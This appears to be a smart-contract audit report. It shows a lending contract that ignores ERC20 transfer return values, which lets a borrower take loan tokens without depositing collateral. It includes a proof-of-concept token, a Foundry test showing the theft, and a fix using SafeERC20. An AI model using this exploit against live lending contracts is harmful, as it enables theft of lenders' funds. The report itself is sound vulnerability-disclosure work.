Summary
ERC20 tokens that return false on transfer failure result in loss of funds.
Vulnerability Details
There are some ERC20 compliant tokens that do not revert on transfer failure , but rather return false from the ERC20 transfer function. As such, if one of these tokens is added to a pool as a collateral token, a lender take out a loan without providing capital and steal the funds. This can be done by not issuing an approval for instance.
The ZRX token is implemented in this fashion for instance.
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
Simple proof of concept
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract CERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "CERC20";
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
if (allowance(from,msg.sender) >= amount) {
super.transferFrom(from,to,amount);
}
return false;
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
And a test that does not set the allowance on the collateral token
contract VulnTest is Test {
Lender public lender;
CERC20 public loanToken;
CERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new CERC20();
collateralToken = new CERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
}
function test_no_approval() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(,,,,uint256 poolBalance,,,,) = lender.pools(poolId);
assertEq(poolBalance, 1000*10**18);
assertEq(loanToken.balanceOf(address(borrower)), 0);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(loanToken.balanceOf(address(borrower)), 995*10**17);
assertEq(collateralToken.balanceOf(address(lender)), 100*10**18, "no collateral transfered");
(,,,,poolBalance,,,,) = lender.pools(poolId);
assertEq(poolBalance, 900*10**18);
}
}
Impact
High
Since borrowers tokens will not transmit in the instance of a failure when sending collateral, this allows theft of the lenders loan tokens. In addition, there are many other instances in the contract where similar issues may occur if a token fails to transfer.
Tools Used
None
Recommendations
As OpenZeppelin is already a dependency, I recommend using the SafeTransfer methods from SafeERC20 globally
* @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,
* non-reverting calls are assumed to be successful.
*/
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
* @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the
* calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.
*/
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
